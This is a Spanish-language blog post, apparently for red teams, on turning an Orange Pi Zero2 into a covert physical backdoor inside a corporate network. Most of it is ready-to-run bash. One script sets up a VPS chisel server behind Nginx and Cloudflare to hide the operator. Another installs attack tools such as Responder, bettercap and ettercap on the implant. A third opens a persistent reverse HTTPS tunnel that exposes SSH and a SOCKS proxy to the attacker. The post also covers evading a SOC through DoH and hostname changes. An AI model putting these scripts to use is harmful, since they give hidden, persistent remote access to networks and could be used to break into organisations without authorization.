Red Team — Caso de uso de un Backdoor físico parte 2

Vay3t
8 min readFeb 19, 2023

--

Especificaciones de Orange Pi Zero2

En esta entrega se presentará la segunda parte del post Red Team — Caso de uso de un Backdoor físico en donde se presentará una forma más sofisticada de configurar un single-board computer, en este caso se utilizará un Orange Pi Zero2.

Dispositivos y OS testeados para este ejercicio

Configurando el entorno

Diagrama de conexión

Esta vez estaremos bajo un contexto más estricto, en donde la red de la corporación víctima cuenta con un SOC/NOC bien preparado, por lo cual si utilizamos un SSH por 443, como en el ejemplo anterior, seriamos fácilmente detectados, además de que nos delataríamos mostrando la IP de la VPS.

Para solucionar esta problemática, el objetivo es realizar un túnel HTTPS usando chisel para pivotear usando como cliente el Orange Pi (nuestro backdoor) en la red víctima y teniéndolo como servidor en una VPS, de esta forma se realiza un ejemplo parecido al post anterior en donde se obtenía shell por medio de una conexión reversa por SSH pero esta vez usando un proxy HTTPS. Como el servidor proxy es protocolo HTTPS podremos ocupar Cloudflare como intermediario para no exponer la IP de nuestra VPS, además de que si ocupamos DoH usando dnscrypt-proxy incrementaríamos la efectividad de no levantar sospechas y realizar el ejercicio lo más furtivo posible. También es necesario tener en cuenta de que queremos esconder del radar a bots y otros atacantes el acceso directo a nuestro servidor chisel, por lo cual no está de más tener un reverse proxy como Nginx para evitar atacantes.

Arquitectura del Backdoor

Simplificando todo tenemos lo siguiente

  • VPS para el servidor túnel HTTPS
  • single-board computer como Backdoor
  • chisel para el túnel HTTPS
  • dnscrypt-proxy para DoH
  • Cloudflare para ocultar la IP de la VPS

Estructura simplificada de la conexión

Backdoor -- Tunel HTTPS --> Cloudflare --> VPS <-- SSH -- Atacante
^ |
| |
------------------------- Comandos -------------------------

Configurando la VPS

Ya habiendo creado la VPS en nuestro proveedor favorito, instalaremos las herramientas necesarias:

Configuración de Cloudflare

  1. Se inicia sesión en Cloudflare y se selecciona el dominio a usar. Si no dispones de uno puede comprarlo en la misma plataforma de Cloudflare donde menciono en la imagen siguiente.
Selección de dominio a usar para crear el subdominio c2.vay3t.org

Donde comprar el dominio en Cloudflare.

Foto en donde comprar el subdominio

2. Luego de seleccionar el dominio nos dirigimos a la sección DNS.

Seleccionar la sección de DNS

3. Añadimos el Record que necesitamos.

Apretar en Add record

4. Rellenamos los datos con la información necesaria y guardamos, es importante que quede como Proxied.

Completar los datos y guardar

Instalación y configuración de Nginx y Chisel

Antes de ejecutar el script tenemos que modificar las siguientes variables según el contexto que tendremos:

  • cloudflare_domain
  • cloudflare_path_proxy
  • cloudflare_creds_proxy
#!/bin/bash

if [ $EUID -ne 0 ]; then
echo "This script must be run as root"
exit 1
fi

# Patch Chisel expossed port of remote port forward
apt install ufw
ufw allow 22
ufw allow 80
ufw enable

# Install chisel
WORKDIR="$HOME/utilidades"
mkdir -p $WORKDIR
cd $WORKDIR
git clone https://github.com/udhos/update-golang
cd update-golang && bash update-golang.sh 2>&1 >/dev/null
source /etc/profile.d/golang_path.sh
cd $HOME
go install github.com/jpillora/chisel@latest

# Install Nginx
cloudflare_domain="c2.vay3t.org"
cloudflare_path_proxy="/static"
cloudflare_creds_proxy="alessa:superhardpassword123"

apt install nginx -y
rm -rf /var/www/html/*
rm -rf /etc/nginx/sites-enabled/*
rm -rf /etc/nginx/sites-available/*
echo -n "Not found" > /var/www/html/error.html
echo -n "Not found" > /var/www/html/index.html
cat <<EOF > /etc/nginx/sites-available/$cloudflare_domain
server {
server_tokens off;
root /var/www/html/;
server_name $cloudflare_domain;
listen 80;
error_page 400 401 403 404 500 502 503 504 /error.html;
location = /error.html {
etag off;
add_header content-type "text/plain; charset=utf-8" always;
root /var/www/html/;
}
location $cloudflare_path_proxy {
proxy_set_header Host \$host;
proxy_set_header X-Real-IP \$remote_addr;
proxy_set_header X-Forwarded-Host \$host:\$server_port;
proxy_set_header X-Forwarded-Server \$host;
proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for;
proxy_http_version 1.1;
proxy_set_header Upgrade \$http_upgrade;
proxy_set_header Connection "upgrade";
proxy_pass http://127.0.0.1:8000/;
}
}
EOF

ln -s /etc/nginx/sites-available/$cloudflare_domain /etc/nginx/sites-enabled/$cloudflare_domain
systemctl restart nginx

cat <<EOF > /etc/systemd/system/chisel-tunnel.service
[Unit]
Description=Chisel tunnel
After=network.target
[Service]
ExecStart=/root/go/bin/chisel server --host 127.0.0.1 -p 8000 --auth $cloudflare_creds_proxy --reverse --socks5
[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable chisel-tunnel.service
systemctl restart chisel-tunnel.service

echo "[+] Done"
echo "[+] Your backend is: https://$cloudflare_domain$cloudflare_path_proxy"
echo "[!] You need check Cloudflare DNS to point to your server"

Configurando el Backdoor

Instalando dependencias

Es necesario saber que en caso de deploy es recomendado que la variable intruder_ssh_listen tenga el valor 127.0.0.1 para que no sea posible acceder desde la red corporativa.

#!/bin/bash

if [ $EUID -ne 0 ]; then
echo "This script must be run as root"
exit 1
fi

export DEBIAN_FRONTEND=noninteractive

WORKDIR="$HOME/arsenal"
mkdir -p $WORKDIR

: <<EOD
# Create SSH config
intruder_ssh_port="22"

# Puedes dejarlo como 127.0.0.1 en caso de deploy
intruder_ssh_listen="0.0.0.0"

cat <<EOF >> sshd_config
Include /etc/ssh/sshd_config.d/*.conf
Port $intruder_ssh_port
# Port 22
ListenAddress $intruder_ssh_listen
PermitRootLogin yes
MaxAuthTries 6
PubkeyAuthentication no
PasswordAuthentication yes
PermitEmptyPasswords no
ChallengeResponseAuthentication no
X11Forwarding yes
PrintMotd no
DebianBanner no
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
EOF

# sshd_config
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak
cp $PWD/sshd_config /etc/ssh/sshd_config
EOD

# Patch config no interactive apt install
sed -i 's/\#\ conf\_force\_conffold\=YES/conf\_force\_conffold\=YES/g' /etc/ucf.conf

# Init
apt update && apt dist-upgrade -y

# Firewall
# You can install ufw or firewalld


# Disable trashes
systemctl disable \
nfs-config.service \
rpcbind.service \
rpc-statd.service \
nfs-server.service


# Install essential tools
apt install -y \
nmap \
arp-scan \
netdiscover \
autossh \
nbtscan \
prips \
python3-pip \
python3-dev \
tcpdump \
macchanger \
traceroute \
tshark \
wipe \
libpcap-dev \
hping3 \
sslh \
socat \
netcat \
ettercap-text-only \
proxychains4

pip3 install scapy

# Git clone
git clone https://github.com/lgandx/Responder $WORKDIR/Responder


# Change hostname
hostnamectl set-hostname localhost
sed -i 's/'$HOSTNAME'/localhost/g' /etc/hosts

# Disable NTP Sync
#sudo timedatectl set-ntp no

# Install Golang
mkdir -p "$HOME/utilidades"
cd "$HOME/utilidades"
git clone https://github.com/udhos/update-golang
cd update-golang && bash update-golang.sh 2>&1 >/dev/null
source /etc/profile.d/golang_path.sh

# Install Golang tools
go install github.com/projectdiscovery/simplehttpserver/cmd/simplehttpserver@latest
go install github.com/jpillora/chisel@latest

# Install bettercap
apt install -y \
build-essential \
libpcap-dev \
libusb-1.0-0-dev \
libnetfilter-queue-dev
go install github.com/bettercap/bettercap@latest

: <<EOD
# install DoH
apt install -y dnscrypt-proxy
cat <<EOF > /etc/NetworkManager/conf.d/00-dns.conf
[main]
dns=none
EOF
systemctl restart NetworkManager.service
cat <<EOF > /etc/resolv.conf
nameserver ::ffff:7f00:201
nameserver 127.0.2.1
options edns0 single-request-reopen
EOF
systemctl start dnscrypt-proxy.service
systemctl enable dnscrypt-proxy.service
systemctl restart NetworkManager.service
EOD

# ssh key gen
genPrivKey="no"
if [ $genPrivKey == "yes" ]; then
echo -e "\n\n"
echo "[*] generating ssh key"
mkdir $HOME/.ssh
ssh-keygen -f $HOME/.ssh/id_rsa -t ed25519 -N ''
echo ">>> Please copy this pub key in your vps <<<"
echo -e "\n"
cat $HOME/.ssh/id_rsa.pub
echo -e "\n\n"
echo "[!] Don't forget to save your user/password for local ssh and your keys for tunnel"
fi

# Install fscrypt
fscrypt_install="no"
if [ $fscrypt_install == "yes" ]; then
apt -y install fscrypt
fscrypt setup
tune2fs -O encrypt "/dev/mmcblk0p1"
mkdir $PWD/private
fscrypt encrypt $PWD/private --source=custom_passphrase --name=pi
# umount
echo
echo "> umounting: $ fscrypt lock $PWD/private"
# mount
echo "> mounting: $ fscrypt unlock $PWD/private"
fi

Configurando el cliente proxy HTTPS

Configurando el cliente proxy tenemos la capacidad de dejar un remote port forward del puerto 22 al puerto 2222 y un proxy socks5 en el puerto 9999 accesibles desde la VPS.

Antes de ejecutar el script tenemos que modificar las siguientes variables según el contexto que tendremos:

  • cloudflare_domain
  • cloudflare_path_proxy
  • cloudflare_creds_proxy
#!/bin/bash

if [ $EUID -ne 0 ]; then
echo "This script must be run as root"
exit 1
fi

# Proxy https configuration
cloudflare_domain="c2.vay3t.org"
cloudflare_path_proxy="/static"
cloudflare_creds_proxy="alessa:superhardpassword123"

cat <<EOF > /etc/systemd/system/chisel-tunnel.service
[Unit]
Description=Chisel tunnel
After=network.target
[Service]
ExecStart=/root/go/bin/chisel client --auth $cloudflare_creds_proxy https://$cloudflare_domain$cloudflare_path_proxy R:2222:localhost:22 R:9999:socks
[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable chisel-tunnel.service
systemctl restart chisel-tunnel.service

Accediendo al pivote

Ahora es posible acceder al Backdoor desde nuestra VPS con el siguiente comando:

ssh root@127.0.0.1 -p 2222

Para poder ejecutar herramientas desde la VPS instalamos proxychains4

sudo apt install -y proxychains4

Modificamos el archivo de configuración en: /etc/proxychains4 en la última línea dejamos escrito lo que sale en la imagen

Ejecutar herramientas desde la VPS

proxychains4 -q nmap -sT [...]

Ejecutando herramientas desde nuestro host

  1. Antes que nada debemos instalar proxychains en nuestro host (Ubuntu 22.04 LTS).
sudo apt install -y proxychains4

2. Se inicia sesión SSH a la VPS desde nuestro host.

ssh user@mivps -CD8888

3. Se modifica el archivo de configuración de proxychains4 en nuestro host.

sudo nano /etc/proxychains4.conf

4. En las últimas líneas modificar:

[ProxyList]
socks5 127.0.0.1 8888
socks5 127.0.0.1 9999

5. Ahora es posible ejecutar herramientas a través de proxychains desde nuestro computador personal:

proxychains4 -q nmap -sT [...]

¡Listo! SSH por HTTPS

Warning

Chisel tiene un pequeño problema, que cuando realizas el remote port forward, el puerto forwardeado queda expuesto en la interfaz del IPv6 del sistema operativo, por lo cual transformando la IPv4 del servidor a IPv6 es posible acceder al puerto expuesto que es el SSH de la Orange Pi.

Existe una forma de mitigar esto agregando las siguientes reglas de Firewall usando ufw, esto ya está incluido en el script de instalación y configuración del servidor, aun así, deben tenerlo en cuenta.

# Patch Chisel expossed port of remote port forward
apt install ufw
ufw allow 22
ufw allow 80
ufw enable

Bonus Track

Usar Caddy en vez de Nginx

  • Instalación
apt install -y debian-keyring debian-archive-keyring apt-transport-https
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-stable.list
apt update
apt install -y caddy
  • Se debe crear el archivo Caddyfile con lo siguiente:
http://c2.vay3t.org {
respond "Not found"
handle /static {
reverse_proxy {
to 127.0.0.1:8000
}
}
}
  • Es posible ejecutarlo por CLI
caddy run --config Caddyfile
  • También como servicio editando el archivo /etc/caddy/Caddyfile
systemctl enable caddy
systemctl start caddy
  • Para ataques más sofisticados es posible crear un servidor DoH propio

Contribución de NCH

--

--